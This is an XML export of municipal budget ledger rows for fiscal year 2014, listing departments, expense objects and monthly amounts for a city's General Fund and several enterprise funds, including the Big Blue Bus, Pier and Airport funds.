<row _id="13246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>818050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>818050.0</total></row>
<row _id="13247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-1391.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1391.0</total></row>
<row _id="13248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8453.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8453.0</total></row>
<row _id="13249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21166.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21166.0</total></row>
<row _id="13250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="13251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26500.0</total></row>
<row _id="13252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="13253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1025.0</total></row>
<row _id="13254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="13255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>129.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>129.0</total></row>
<row _id="13256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2666.0</total></row>
<row _id="13257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5006.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5006.0</total></row>
<row _id="13258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2813.0</total></row>
<row _id="13259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>690550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>690550.0</total></row>
<row _id="13260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21882.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21882.0</total></row>
<row _id="13261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>936.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>936.0</total></row>
<row _id="13262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="13263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>482.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>482.0</total></row>
<row _id="13264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>160432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>160432.0</total></row>
<row _id="13265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2911.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2911.0</total></row>
<row _id="13266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>309.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309.0</total></row>
<row _id="13267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="13268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="13269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115.0</total></row>
<row _id="13270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201691.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>201691.0</total></row>
<row _id="13271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4529.0</total></row>
<row _id="13272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150.0</total></row>
<row _id="13273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>937.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>937.0</total></row>
<row _id="13274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>588.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>588.0</total></row>
<row _id="13275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>152357.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>152357.0</total></row>
<row _id="13276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1200.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="13277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="13278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555170.0</object><object_description>MONITORING COSTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58000.0</total></row>
<row _id="13279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560030.0</object><object_description>RAIN BARREL PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13000.0</total></row>
<row _id="13280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560040.0</object><object_description>CISTERN PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="13282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-80800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-80800.0</total></row>
<row _id="13283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-20200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20200.0</total></row>
<row _id="13284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-40400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40400.0</total></row>
<row _id="13285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401590.0</object><object_description>PLANNING PRESUBMITTAL REVIEW</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3126.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3126.0</total></row>
<row _id="13286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="13287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60438.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60438.0</total></row>
<row _id="13288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="13289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="13290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40031.0</total></row>
<row _id="13291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>480340.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>72316</march><april>0</april><may>0</may><june>0.0</june><total>552656.0</total></row>
<row _id="13292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="13293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-4328928.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>-8164</april><may>0</may><june>-26896.0</june><total>-4363988.0</total></row>
